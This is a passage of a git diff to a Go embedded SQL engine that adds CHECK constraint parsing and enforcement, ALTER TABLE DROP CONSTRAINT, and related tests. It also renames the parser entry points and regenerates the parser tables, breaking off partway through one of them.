in_out_balance_sum CHECK (in_balance + out_balance = balance), + CHECK (in_balance >= 0), + CHECK (out_balance <= 0), + CHECK (balance >= 0), + + PRIMARY KEY id + )`, nil, + ) + require.NoError(t, err) + + t.Run("check constraint violation", func(t *testing.T) { + _, _, err = engine.Exec(context.Background(), nil, `INSERT INTO table_with_checks(account, in_balance, out_balance, balance, metadata) VALUES ('account_one', 10, -1.5, 8.5, '{"usr": "user"}')`, nil) + require.NoError(t, err) + + _, _, err = engine.Exec(context.Background(), nil, `INSERT INTO table_with_checks(account, in_balance, out_balance, balance, metadata) VALUES ('account', 20, -1.0, 19.0, '{"usr": "user"}')`, nil) + require.ErrorIs(t, err, ErrCheckConstraintViolation) + + _, _, err = engine.Exec(context.Background(), nil, `INSERT INTO table_with_checks(account, in_balance, out_balance, balance, metadata) VALUES ('account_two', 10, 1.5, 11.5, '{"usr": "user"}')`, nil) + require.ErrorIs(t, err, ErrCheckConstraintViolation) + + _, _, err = engine.Exec(context.Background(), nil, `INSERT INTO table_with_checks(account, in_balance, out_balance, balance, metadata) VALUES ('account_two', -1, 2.5, 1.5, '{"usr": "user"}')`, nil) + require.ErrorIs(t, err, ErrCheckConstraintViolation) + + _, _, err = engine.Exec(context.Background(), nil, `INSERT INTO table_with_checks(account, in_balance, out_balance, balance, metadata) VALUES ('account_two', 10, -1.5, 9.0, '{"usr": "user"}')`, nil) + require.ErrorIs(t, err, ErrCheckConstraintViolation) + + _, _, err = engine.Exec(context.Background(), nil, + `UPDATE table_with_checks + SET + in_balance = in_balance - 1, + out_balance = out_balance + 1 + WHERE id = 1`, nil) + require.NoError(t, err) + + _, _, err = engine.Exec(context.Background(), nil, + `UPDATE table_with_checks + SET + out_balance = out_balance - 1, + balance = balance - 1 + WHERE id = 1`, nil) + require.NoError(t, err) + + _, _, err = engine.Exec(context.Background(), nil, "UPDATE table_with_checks SET in_balance = in_balance + 1 WHERE id = 1", nil) + require.ErrorIs(t, err, ErrCheckConstraintViolation) + + _, _, err = engine.Exec(context.Background(), nil, "UPDATE table_with_checks SET in_balance = NULL", nil) + require.ErrorIs(t, err, ErrCheckConstraintViolation) + }) + + t.Run("drop constraint", func(t *testing.T) { + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table_with_checks DROP CONSTRAINT metadata_check", nil) + require.NoError(t, err) + + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table_with_checks DROP CONSTRAINT in_out_balance_sum", nil) + require.NoError(t, err) + + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table_with_checks DROP CONSTRAINT in_out_balance_sum", nil) + require.ErrorIs(t, err, ErrConstraintNotFound) + + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table_with_checks(account, in_balance, out_balance, balance) VALUES (NULL, 10, -1.5, 9.0)", nil) + require.NoError(t, err) + + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table_with_checks(account, in_balance, out_balance, balance) VALUES ('account_three', -1, -1.5, 9.0)", nil) + require.ErrorIs(t, err, ErrCheckConstraintViolation) + + _, _, err = engine.Exec(context.Background(), nil, "INSERT INTO table_with_checks(account, in_balance, out_balance, balance) VALUES ('account_three', 10, 1.5, 9.0)", nil) + require.ErrorIs(t, err, ErrCheckConstraintViolation) + }) + + t.Run("drop column with constraint", func(t *testing.T) { + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table_with_checks DROP COLUMN account", nil) + require.ErrorIs(t, err, ErrCannotDropColumn) + + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table_with_checks DROP CONSTRAINT table_with_checks_check1", nil) + require.NoError(t, err) + + _, _, err = engine.Exec(context.Background(), nil, "ALTER TABLE table_with_checks DROP COLUMN account", nil) + require.NoError(t, err) + }) + + t.Run("unsupported check expressions", func(t *testing.T) { + _, _, err := engine.Exec( + context.Background(), + nil, + `CREATE TABLE table_with_invalid_checks ( + id INTEGER AUTO_INCREMENT, + + CHECK EXISTS (SELECT * FROM mytable), + + PRIMARY KEY id + )`, nil, + ) + require.ErrorIs(t, err, ErrNoSupported) + + _, _, err = engine.Exec( + context.Background(), + nil, + `CREATE TABLE table_with_invalid_checks ( + id INTEGER AUTO_INCREMENT, + + CHECK id IN (SELECT * FROM mytable), + + PRIMARY KEY id + )`, nil, + ) + require.ErrorIs(t, err, ErrNoSupported) + }) +} + func TestQueryTxMetadata(t *testing.T) { opts := store.DefaultOptions().WithMultiIndexing(true) opts.WithIndexOptions(opts.IndexOpts.WithMaxActiveSnapshots(1)) @@ -8569,7 +8702,7 @@ func TestQueryTxMetadata(t *testing.T) { require.Len(t, rows, 10) for i, row := range rows { - n := row.ValuesBySelector[EncodeSelector("", "mytbl", "_tx_metadata->n")].RawValue() + n := row.ValuesBySelector[EncodeSelector("", "mytbl", "_tx_metadata->'n'")].RawValue() require.Equal(t, float64(i+1), n) } diff --git a/embedded/sql/grouped_row_reader.go b/embedded/sql/grouped_row_reader.go index b2a7d5c9d4..8cf59420a1 100644 --- a/embedded/sql/grouped_row_reader.go +++ b/embedded/sql/grouped_row_reader.go @@ -152,33 +152,21 @@ func allAggregations(selectors []Selector) bool { func zeroForType(t SQLValueType) TypedValue { switch t { case IntegerType: - { - return &Integer{} - } + return &Integer{} case Float64Type: - { - return &Float64{} - } + return &Float64{} case BooleanType: - { - return &Bool{} - } + return &Bool{} case VarcharType: - { - return &Varchar{} - } + return &Varchar{} + case JSONType: + return &JSON{} case UUIDType: - { - return &UUID{} - } + return &UUID{} case BLOBType: - { - return &Blob{} - } + return &Blob{} case TimestampType: - { - return &Timestamp{} - } + return &Timestamp{} } return nil } diff --git a/embedded/sql/json_type.go b/embedded/sql/json_type.go index 1ac19565a9..31e7264b96 100644 --- a/embedded/sql/json_type.go +++ b/embedded/sql/json_type.go @@ -20,6 +20,14 @@ type JSON struct { val interface{} } +func NewJsonFromString(s string) (*JSON, error) { + var val interface{} + if err := json.Unmarshal([]byte(s), &val); err != nil { + return nil, err + } + return &JSON{val: val}, nil +} + func NewJson(val interface{}) *JSON { return &JSON{val: val} } @@ -82,6 +90,10 @@ func (v *JSON) RawValue() interface{} { } func (v *JSON) Compare(val TypedValue) (int, error) { + if val.IsNull() { + return val.Compare(v) + } + tv, ok := v.castToTypedValue() if !ok { return -1, fmt.Errorf("%w: comparison not defined for JSON %s", ErrNotComparableValues, v.primitiveType()) @@ -175,16 +187,16 @@ func (v *JSONSelector) alias() string { if v.ColSelector.as != "" { return v.ColSelector.as } - return v.string() + return v.String() } func (v *JSONSelector) resolve(implicitTable string) (string, string, string) { aggFn, table, _ := v.ColSelector.resolve(implicitTable) - return aggFn, table, v.string() + return aggFn, table, v.String() } -func (v *JSONSelector) string() string { - return fmt.Sprintf("%s->%s", v.ColSelector.col, strings.Join(v.fields, "->")) +func (v *JSONSelector) String() string { + return fmt.Sprintf("%s->'%s'", v.ColSelector.col, strings.Join(v.fields, "->")) } func (sel *JSONSelector) reduce(tx *SQLTx, row *Row, implicitTable string) (TypedValue, error) { diff --git a/embedded/sql/parser.go b/embedded/sql/parser.go index 11afcf3f80..046aeae282 100644 --- a/embedded/sql/parser.go +++ b/embedded/sql/parser.go @@ -102,6 +102,8 @@ var reservedWords = map[string]int{ "READ": READ, "READWRITE": READWRITE, "ADMIN": ADMIN, + "CHECK": CHECK, + "CONSTRAINT": CONSTRAINT, } var joinTypes = map[string]JoinType{ @@ -202,11 +204,11 @@ func (ar *aheadByteReader) NextByte() (byte, error) { return ar.nextChar, ar.nextErr } -func ParseString(sql string) ([]SQLStmt, error) { - return Parse(strings.NewReader(sql)) +func ParseSQLString(sql string) ([]SQLStmt, error) { + return ParseSQL(strings.NewReader(sql)) } -func Parse(r io.ByteReader) ([]SQLStmt, error) { +func ParseSQL(r io.ByteReader) ([]SQLStmt, error) { lexer := newLexer(r) yyParse(lexer) @@ -214,6 +216,18 @@ func Parse(r io.ByteReader) ([]SQLStmt, error) { return lexer.result, lexer.err } +func ParseExpFromString(exp string) (ValueExp, error) { + stmt := fmt.Sprintf("SELECT * FROM t WHERE %s", exp) + + res, err := ParseSQLString(stmt) + if err != nil { + return nil, err + } + + s := res[0].(*SelectStmt) + return s.where, nil +} + func newLexer(r io.ByteReader) *lexer { return &lexer{ r: newAheadByteReader(r), diff --git a/embedded/sql/parser_test.go b/embedded/sql/parser_test.go index 70841503b4..c18d83ac44 100644 --- a/embedded/sql/parser_test.go +++ b/embedded/sql/parser_test.go @@ -31,7 +31,7 @@ func init() { } func TestEmptyInput(t *testing.T) { - _, err := ParseString("") + _, err := ParseSQLString("") require.Error(t, err) } @@ -54,7 +54,7 @@ func TestCreateDatabaseStmt(t *testing.T) { } for i, tc := range testCases { - res, err := ParseString(tc.input) + res, err := ParseSQLString(tc.input) require.Equal(t, tc.expectedError, err, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { @@ -82,7 +82,7 @@ func TestUseDatabaseStmt(t *testing.T) { } for i, tc := range testCases { - res, err := ParseString(tc.input) + res, err := ParseSQLString(tc.input) require.Equal(t, tc.expectedError, err, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { @@ -179,7 +179,7 @@ func TestUseSnapshotStmt(t *testing.T) { } for i, tc := range testCases { - res, err := ParseString(tc.input) + res, err := ParseSQLString(tc.input) require.Equal(t, tc.expectedError, err, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { @@ -293,6 +293,29 @@ func TestCreateTableStmt(t *testing.T) { expectedOutput: []SQLStmt{&CreateTableStmt{table: "table1"}}, expectedError: errors.New("syntax error: unexpected ')', expecting IDENTIFIER at position 21"), }, + { + input: "CREATE TABLE table1(id INTEGER, balance FLOAT, CONSTRAINT non_negative_balance CHECK (balance >= 0), PRIMARY KEY id)", + expectedOutput: []SQLStmt{ + &CreateTableStmt{ + table: "table1", + colsSpec: []*ColSpec{ + {colName: "id", colType: IntegerType}, + {colName: "balance", colType: Float64Type}, + }, + checks: []CheckConstraint{ + { + name: "non_negative_balance", + exp: &CmpBoolExp{ + op: GE, + left: &ColSelector{col: "balance"}, + right: &Integer{val: 0}, + }, + }, + }, + pkColNames: []string{"id"}, + }}, + expectedError: nil, + }, { input: "DROP TABLE table1", expectedOutput: []SQLStmt{ @@ -304,7 +327,7 @@ func TestCreateTableStmt(t *testing.T) { } for i, tc := range testCases { - res, err := ParseString(tc.input) + res, err := ParseSQLString(tc.input) require.Equal(t, tc.expectedError, err, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { @@ -361,7 +384,7 @@ func TestCreateIndexStmt(t *testing.T) { } for i, tc := range testCases { - res, err := ParseString(tc.input) + res, err := ParseSQLString(tc.input) require.Equal(t, tc.expectedError, err, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { @@ -417,7 +440,7 @@ func TestAlterTable(t *testing.T) { } for i, tc := range testCases { - res, err := ParseString(tc.input) + res, err := ParseSQLString(tc.input) require.Equal(t, tc.expectedError, err, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { @@ -613,7 +636,7 @@ func TestInsertIntoStmt(t *testing.T) { } for i, tc := range testCases { - res, err := ParseString(tc.input) + res, err := ParseSQLString(tc.input) require.Equal(t, tc.expectedError, err, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { @@ -700,7 +723,7 @@ func TestStmtSeparator(t *testing.T) { } for i, tc := range testCases { - res, err := ParseString(tc.input) + res, err := ParseSQLString(tc.input) require.Equal(t, tc.expectedError, err, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { @@ -805,7 +828,7 @@ func TestTxStmt(t *testing.T) { } for i, tc := range testCases { - res, err := ParseString(tc.input) + res, err := ParseSQLString(tc.input) require.Equal(t, tc.expectedError, err, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { @@ -1169,7 +1192,7 @@ func TestSelectStmt(t *testing.T) { } for i, tc := range testCases { - res, err := ParseString(tc.input) + res, err := ParseSQLString(tc.input) require.Equal(t, tc.expectedError, err, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { @@ -1211,7 +1234,7 @@ func TestSelectUnionStmt(t *testing.T) { } for i, tc := range testCases { - res, err := ParseString(tc.input) + res, err := ParseSQLString(tc.input) require.Equal(t, tc.expectedError, err, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { @@ -1262,7 +1285,7 @@ func TestAggFnStmt(t *testing.T) { } for i, tc := range testCases { - res, err := ParseString(tc.input) + res, err := ParseSQLString(tc.input) require.Equal(t, tc.expectedError, err, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { @@ -1562,7 +1585,7 @@ func TestExpressions(t *testing.T) { } for i, tc := range testCases { - res, err := ParseString(tc.input) + res, err := ParseSQLString(tc.input) require.Equal(t, tc.expectedError, err, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { @@ -1659,7 +1682,7 @@ func TestMultiLineStmts(t *testing.T) { } for i, tc := range testCases { - res, err := ParseString(tc.input) + res, err := ParseSQLString(tc.input) require.Equal(t, tc.expectedError, err, fmt.Sprintf("failed on iteration %d", i)) if tc.expectedError == nil { @@ -1683,7 +1706,7 @@ func TestFloatCornerCases(t *testing.T) { {"123" + strings.Repeat("1", 10000) + ".123", true, nil}, } { t.Run(fmt.Sprintf("%+v", d), func(t *testing.T) { - stmt, err := ParseString("INSERT INTO t1(v) VALUES(" + d.s + ")") + stmt, err := ParseSQLString("INSERT INTO t1(v) VALUES(" + d.s + ")") if d.invalid { require.Error(t, err) require.Contains(t, err.Error(), "syntax error") @@ -1704,5 +1727,25 @@ func TestFloatCornerCases(t *testing.T) { } }) } +} +func TestExprString(t *testing.T) { + exps := []string{ + "(1 + 1) / (2 * 5 - 10)", + "@param LIKE 'pattern'", + "((col1 AND (col2 < 10)) OR (@param = 3 AND (col4 = TRUE))) AND NOT (col5 = 'value' OR (2 + 2 != 4))", + "CAST (func_call(1, 'two', 2.5) AS TIMESTAMP)", + "col IN (TRUE, 1, 'test', 1.5)", + } + + for i, e := range exps { + t.Run(fmt.Sprintf("test_expression_%d", i+1), func(t *testing.T) { + exp, err := ParseExpFromString(e) + require.NoError(t, err) + + parsedExp, err := ParseExpFromString(exp.String()) + require.NoError(t, err) + require.Equal(t, exp, parsedExp) + }) + } } diff --git a/embedded/sql/sql_grammar.y b/embedded/sql/sql_grammar.y index 88f24aa92a..34a731cf7c 100644 --- a/embedded/sql/sql_grammar.y +++ b/embedded/sql/sql_grammar.y @@ -57,6 +57,7 @@ func setResult(l yyLexer, stmts []SQLStmt) { joins []*JoinSpec join *JoinSpec joinType JoinType + checks []CheckConstraint exp ValueExp binExp ValueExp err error @@ -72,7 +73,7 @@ func setResult(l yyLexer, stmts []SQLStmt) { } %token CREATE DROP USE DATABASE USER WITH PASSWORD READ READWRITE ADMIN SNAPSHOT HISTORY SINCE AFTER BEFORE UNTIL TX OF TIMESTAMP -%token TABLE UNIQUE INDEX ON ALTER ADD RENAME TO COLUMN PRIMARY KEY +%token TABLE UNIQUE INDEX ON ALTER ADD RENAME TO COLUMN CONSTRAINT PRIMARY KEY CHECK %token BEGIN TRANSACTION COMMIT ROLLBACK %token INSERT UPSERT INTO VALUES DELETE UPDATE SET CONFLICT DO NOTHING %token SELECT DISTINCT FROM JOIN HAVING WHERE GROUP BY LIMIT OFFSET ORDER ASC DESC AS UNION ALL @@ -132,6 +133,7 @@ func setResult(l yyLexer, stmts []SQLStmt) { %type opt_joins joins %type join %type opt_join_type +%type opt_checks %type exp opt_where opt_having boundexp %type binExp %type opt_groupby @@ -152,10 +154,10 @@ func setResult(l yyLexer, stmts []SQLStmt) { %% sql: sqlstmts -{ - $$ = $1 - setResult(yylex, $1) -} + { + $$ = $1 + setResult(yylex, $1) + } sqlstmts: sqlstmt opt_separator @@ -213,9 +215,9 @@ ddlstmt: $$ = &UseSnapshotStmt{period: $3} } | - CREATE TABLE opt_if_not_exists IDENTIFIER '(' colsSpec ',' PRIMARY KEY one_or_more_ids ')' + CREATE TABLE opt_if_not_exists IDENTIFIER '(' colsSpec ',' opt_checks PRIMARY KEY one_or_more_ids ')' { - $$ = &CreateTableStmt{ifNotExists: $3, table: $4, colsSpec: $6, pkColNames: $10} + $$ = &CreateTableStmt{ifNotExists: $3, table: $4, colsSpec: $6, checks: $8, pkColNames: $11} } | DROP TABLE IDENTIFIER @@ -262,6 +264,11 @@ ddlstmt: { $$ = &DropColumnStmt{table: $3, colName: $6} } +| + ALTER TABLE IDENTIFIER DROP CONSTRAINT IDENTIFIER + { + $$ = &DropConstraintStmt{table: $3, constraintName: $6} + } | CREATE USER IDENTIFIER WITH PASSWORD VARCHAR permission { @@ -943,6 +950,21 @@ opt_as: $$ = $2 } +opt_checks: + { + $$ = nil + } +| + CHECK exp ',' opt_checks + { + $$ = append([]CheckConstraint{{exp: $2}}, $4...) + } +| + CONSTRAINT IDENTIFIER CHECK exp ',' opt_checks + { + $$ = append([]CheckConstraint{{name: $2, exp: $4}}, $6...) + } + exp: boundexp { diff --git a/embedded/sql/sql_parser.go b/embedded/sql/sql_parser.go index ee081ad5ad..b70588c9fc 100644 --- a/embedded/sql/sql_parser.go +++ b/embedded/sql/sql_parser.go @@ -43,6 +43,7 @@ type yySymType struct { joins []*JoinSpec join *JoinSpec joinType JoinType + checks []CheckConstraint exp ValueExp binExp ValueExp err error @@ -85,69 +86,71 @@ const ADD = 57370 const RENAME = 57371 const TO = 57372 const COLUMN = 57373 -const PRIMARY = 57374 -const KEY = 57375 -const BEGIN = 57376 -const TRANSACTION = 57377 -const COMMIT = 57378 -const ROLLBACK = 57379 -const INSERT = 57380 -const UPSERT = 57381 -const INTO = 57382 -const VALUES = 57383 -const DELETE = 57384 -const UPDATE = 57385 -const SET = 57386 -const CONFLICT = 57387 -const DO = 57388 -const NOTHING = 57389 -const SELECT = 57390 -const DISTINCT = 57391 -const FROM = 57392 -const JOIN = 57393 -const HAVING = 57394 -const WHERE = 57395 -const GROUP = 57396 -const BY = 57397 -const LIMIT = 57398 -const OFFSET = 57399 -const ORDER = 57400 -const ASC = 57401 -const DESC = 57402 -const AS = 57403 -const UNION = 57404 -const ALL = 57405 -const NOT = 57406 -const LIKE = 57407 -const IF = 57408 -const EXISTS = 57409 -const IN = 57410 -const IS = 57411 -const AUTO_INCREMENT = 57412 -const NULL = 57413 -const CAST = 57414 -const SCAST = 57415 -const SHOW = 57416 -const DATABASES = 57417 -const TABLES = 57418 -const USERS = 57419 -const NPARAM = 57420 -const PPARAM = 57421 -const JOINTYPE = 57422 -const LOP = 57423 -const CMPOP = 57424 -const IDENTIFIER = 57425 -const TYPE = 57426 -const INTEGER = 57427 -const FLOAT = 57428 -const VARCHAR = 57429 -const BOOLEAN = 57430 -const BLOB = 57431 -const AGGREGATE_FUNC = 57432 -const ERROR = 57433 -const DOT = 57434 -const ARROW = 57435 -const STMT_SEPARATOR = 57436 +const CONSTRAINT = 57374 +const PRIMARY = 57375 +const KEY = 57376 +const CHECK = 57377 +const BEGIN = 57378 +const TRANSACTION = 57379 +const COMMIT = 57380 +const ROLLBACK = 57381 +const INSERT = 57382 +const UPSERT = 57383 +const INTO = 57384 +const VALUES = 57385 +const DELETE = 57386 +const UPDATE = 57387 +const SET = 57388 +const CONFLICT = 57389 +const DO = 57390 +const NOTHING = 57391 +const SELECT = 57392 +const DISTINCT = 57393 +const FROM = 57394 +const JOIN = 57395 +const HAVING = 57396 +const WHERE = 57397 +const GROUP = 57398 +const BY = 57399 +const LIMIT = 57400 +const OFFSET = 57401 +const ORDER = 57402 +const ASC = 57403 +const DESC = 57404 +const AS = 57405 +const UNION = 57406 +const ALL = 57407 +const NOT = 57408 +const LIKE = 57409 +const IF = 57410 +const EXISTS = 57411 +const IN = 57412 +const IS = 57413 +const AUTO_INCREMENT = 57414 +const NULL = 57415 +const CAST = 57416 +const SCAST = 57417 +const SHOW = 57418 +const DATABASES = 57419 +const TABLES = 57420 +const USERS = 57421 +const NPARAM = 57422 +const PPARAM = 57423 +const JOINTYPE = 57424 +const LOP = 57425 +const CMPOP = 57426 +const IDENTIFIER = 57427 +const TYPE = 57428 +const INTEGER = 57429 +const FLOAT = 57430 +const VARCHAR = 57431 +const BOOLEAN = 57432 +const BLOB = 57433 +const AGGREGATE_FUNC = 57434 +const ERROR = 57435 +const DOT = 57436 +const ARROW = 57437 +const STMT_SEPARATOR = 57438 var yyToknames = [...]string{ "$end", @@ -181,8 +184,10 @@ var yyToknames = [...]string{ "RENAME", "TO", "COLUMN", + "CONSTRAINT", "PRIMARY", "KEY", + "CHECK", "BEGIN", "TRANSACTION", "COMMIT", @@ -267,239 +272,249 @@ var yyExca = [...]int16{ 1, -1, -2, 0, -1, 93, - 65, 164, - 68, 164, - -2, 152, - -1, 231, - 51, 128, - -2, 123, - -1, 272, - 51, 128, - -2, 125, + 67, 168, + 70, 168, + -2, 156, + -1, 233, + 53, 129, + -2, 124, + -1, 274, + 53, 129, + -2, 126, } const yyPrivate = 57344 -const yyLast = 452 +const yyLast = 481 var yyAct = [...]int16{ - 92, 364, 98, 78, 265, 129, 225, 171, 295, 299, - 177, 107, 168, 213, 294, 271, 214, 6, 121, 248, - 194, 57, 124, 20, 335, 286, 182, 285, 223, 258, - 223, 346, 223, 223, 339, 223, 340, 320, 318, 95, - 287, 259, 97, 224, 336, 330, 110, 106, 300, 19, - 77, 91, 321, 108, 109, 150, 319, 310, 111, 281, - 101, 102, 103, 104, 105, 79, 301, 148, 149, 279, - 278, 96, 276, 257, 255, 243, 100, 296, 180, 181, - 183, 144, 145, 147, 146, 242, 185, 222, 211, 126, - 135, 254, 143, 247, 159, 95, 154, 155, 97, 159, - 238, 157, 110, 106, 179, 237, 236, 235, 196, 108, - 109, 160, 158, 156, 111, 137, 101, 102, 103, 104, - 105, 79, 134, 173, 120, 119, 22, 96, 363, 150, - 80, 186, 100, 170, 324, 256, 357, 79, 191, 184, - 80, 188, 174, 150, 75, 199, 200, 201, 202, 203, - 204, 133, 150, 122, 190, 148, 149, 147, 146, 212, - 215, 323, 258, 244, 148, 149, 223, 128, 135, 144, - 145, 147, 146, 216, 210, 241, 114, 230, 144, 145, - 147, 146, 228, 217, 80, 231, 90, 80, 317, 221, - 239, 79, 240, 198, 175, 316, 95, 233, 229, 97, - 232, 189, 323, 110, 106, 30, 291, 282, 253, 246, - 108, 109, 31, 245, 131, 111, 150, 101, 102, 103, - 104, 105, 79, 150, 209, 169, 62, 267, 96, 149, - 274, 307, 293, 100, 280, 269, 130, 176, 275, 263, - 125, 261, 144, 145, 147, 146, 220, 112, 219, 144, - 145, 147, 146, 218, 195, 215, 197, 192, 195, 292, - 288, 187, 161, 138, 113, 283, 83, 298, 10, 12, - 11, 290, 289, 81, 302, 141, 142, 73, 41, 297, - 66, 29, 306, 63, 308, 309, 65, 311, 304, 303, - 64, 13, 61, 56, 55, 20, 45, 215, 7, 334, - 8, 9, 14, 15, 153, 252, 16, 17, 234, 333, - 325, 150, 20, 152, 326, 136, 329, 184, 315, 206, - 82, 19, 331, 51, 207, 314, 205, 208, 72, 42, - 365, 366, 337, 349, 266, 226, 345, 344, 19, 356, - 343, 20, 328, 350, 50, 122, 342, 352, 43, 44, - 46, 305, 127, 39, 358, 355, 48, 354, 347, 361, - 359, 362, 338, 70, 178, 264, 367, 19, 262, 368, - 52, 53, 38, 37, 23, 312, 163, 164, 165, 162, - 260, 34, 40, 117, 353, 268, 139, 84, 227, 54, - 36, 2, 24, 28, 172, 277, 32, 166, 33, 85, - 59, 60, 67, 68, 69, 35, 115, 116, 25, 27, - 26, 89, 88, 140, 49, 249, 250, 251, 118, 86, - 21, 322, 123, 151, 313, 332, 348, 360, 284, 327, - 94, 93, 341, 273, 272, 270, 87, 58, 71, 47, - 132, 76, 74, 99, 351, 167, 193, 18, 5, 4, - 3, 1, + 92, 377, 98, 78, 267, 172, 227, 129, 284, 299, + 303, 107, 178, 169, 214, 273, 298, 215, 6, 121, + 195, 250, 57, 124, 343, 20, 290, 183, 289, 225, + 260, 225, 225, 364, 225, 225, 304, 348, 326, 324, + 291, 95, 261, 226, 97, 347, 344, 336, 110, 106, + 77, 19, 327, 325, 305, 108, 109, 91, 150, 314, + 111, 283, 101, 102, 103, 104, 105, 79, 281, 280, + 148, 149, 278, 96, 259, 257, 245, 244, 100, 135, + 224, 181, 182, 184, 144, 145, 147, 146, 159, 186, + 126, 212, 143, 300, 256, 249, 154, 155, 159, 240, + 239, 157, 238, 95, 237, 197, 97, 180, 160, 158, + 110, 106, 156, 137, 134, 120, 119, 108, 109, 22, + 376, 369, 111, 174, 101, 102, 103, 104, 105, 79, + 122, 187, 329, 189, 171, 96, 150, 80, 192, 185, + 100, 150, 260, 175, 150, 200, 201, 202, 203, 204, + 205, 191, 330, 148, 149, 246, 225, 128, 133, 213, + 216, 135, 144, 145, 147, 146, 365, 144, 145, 147, + 146, 176, 147, 146, 217, 211, 114, 243, 232, 80, + 80, 230, 95, 218, 233, 97, 79, 79, 223, 110, + 106, 199, 190, 241, 75, 242, 108, 109, 323, 235, + 231, 111, 234, 101, 102, 103, 104, 105, 79, 255, + 90, 248, 322, 287, 96, 295, 286, 247, 258, 100, + 210, 150, 329, 80, 30, 62, 150, 170, 318, 269, + 311, 31, 297, 148, 149, 177, 131, 271, 148, 149, + 342, 282, 277, 265, 125, 263, 338, 144, 145, 147, + 146, 222, 144, 145, 147, 146, 221, 216, 130, 220, + 219, 296, 196, 292, 198, 193, 196, 285, 150, 302, + 188, 112, 161, 138, 294, 293, 306, 113, 83, 81, + 148, 149, 276, 301, 63, 150, 310, 317, 312, 313, + 308, 315, 307, 73, 144, 145, 147, 146, 149, 141, + 142, 216, 29, 41, 66, 65, 64, 61, 56, 55, + 20, 144, 145, 147, 146, 331, 153, 254, 341, 332, + 321, 185, 335, 207, 236, 152, 150, 320, 208, 72, + 206, 209, 136, 51, 82, 42, 19, 378, 379, 345, + 356, 352, 359, 268, 353, 45, 228, 355, 354, 368, + 351, 360, 10, 12, 11, 362, 334, 122, 350, 20, + 309, 366, 127, 39, 370, 367, 48, 357, 50, 266, + 346, 374, 372, 375, 371, 13, 70, 264, 179, 380, + 38, 37, 381, 23, 7, 19, 8, 9, 14, 15, + 339, 337, 16, 17, 52, 53, 40, 316, 20, 43, + 44, 46, 287, 165, 166, 286, 163, 164, 162, 117, + 262, 363, 24, 28, 270, 139, 67, 68, 69, 34, + 84, 229, 54, 85, 19, 36, 2, 279, 25, 27, + 26, 167, 115, 116, 32, 118, 33, 89, 88, 140, + 35, 59, 60, 251, 252, 253, 86, 173, 21, 49, + 328, 123, 151, 319, 340, 358, 373, 288, 333, 94, + 93, 349, 275, 274, 272, 87, 58, 71, 47, 132, + 76, 74, 99, 361, 168, 194, 18, 5, 4, 3, + 1, } var yyPact = [...]int16{ - 264, -1000, -1000, 26, -1000, -1000, -1000, 339, -1000, -1000, - 385, 198, 373, 382, 333, 332, 303, 195, 267, 273, - 307, -1000, 264, -1000, 257, 257, 257, 364, 211, -1000, - 210, 384, 209, 200, 207, 203, 197, 195, 195, 195, - 319, -1000, 265, -1000, -1000, 194, -1000, 47, -1000, -1000, - 190, 256, 183, 361, 257, 410, -1000, -1000, 393, 31, - 31, -1000, 181, 84, -1000, 378, 409, 24, 23, 292, - 157, 247, -1000, -1000, 302, -1000, 73, 153, 58, 21, - 76, -1000, 248, 14, 180, 360, 403, -1000, 31, 31, - -1000, 132, 83, 240, -1000, 132, 132, 12, -1000, -1000, - 132, -1000, -1000, -1000, -1000, -1000, 11, -1000, -1000, -1000, - -1000, -2, -1000, 10, 179, 348, 346, 347, 387, 142, - 142, 388, 132, 100, -1000, 155, -1000, 3, 101, -1000, - -1000, 178, 48, 114, 57, 174, -1000, 171, 7, 173, - 106, -1000, -1000, 83, 132, 132, 132, 132, 132, 132, - 255, 259, 140, -1000, 147, 60, 247, -14, 132, 132, - 142, -1000, 171, 170, 165, 163, 102, -15, 72, -1000, - -59, 279, 363, 83, 388, 157, 132, 388, 384, 293, - 6, 5, 4, -1, 153, -7, 153, -1000, 88, -1000, - -17, -27, -1000, 69, -1000, 129, 142, -8, 404, 60, - 60, 242, 242, 147, 154, -1000, 234, 132, -10, -1000, - -28, -1000, 74, -29, 68, 83, -61, -1000, -1000, 350, - -1000, 404, 327, 156, 324, 277, 132, 359, 279, -1000, - 83, 150, 153, -30, 374, -32, -33, 151, -43, -1000, - -1000, -1000, -1000, -1000, 175, -76, -62, 142, -1000, -1000, - -1000, -1000, -1000, 147, -25, -1000, 122, -1000, 132, -1000, - 149, -1000, -24, -1000, -24, -1000, 132, 83, -35, 277, - 292, -1000, 150, 300, -1000, -1000, 153, 148, 153, 153, - -45, 153, 342, -1000, 254, 110, 103, -1000, -64, -46, - -65, -50, 83, -1000, 108, -1000, 132, 67, 83, -1000, - -1000, 142, -1000, 288, -1000, 3, -1000, -57, -1000, -1000, - -1000, -1000, -35, 239, -1000, 228, -80, -58, -1000, -1000, - -1000, -1000, -1000, -24, 317, -68, -66, 294, 285, 388, - 153, -71, -1000, -1000, -1000, -1000, -1000, -1000, 312, -1000, - -1000, 275, 132, 104, 358, -1000, -1000, 310, 279, 284, - 83, 42, -1000, 132, -1000, 277, 101, 104, 83, -1000, - 34, 271, -1000, 101, -1000, -1000, -1000, 271, -1000, + 348, -1000, -1000, 17, -1000, -1000, -1000, 346, -1000, -1000, + 405, 217, 411, 417, 339, 338, 311, 218, 271, 322, + 315, -1000, 348, -1000, 265, 265, 265, 397, 224, -1000, + 223, 425, 222, 199, 221, 220, 219, 218, 218, 218, + 330, -1000, 264, -1000, -1000, 208, -1000, 95, -1000, -1000, + 194, 268, 193, 394, 265, 437, -1000, -1000, 419, 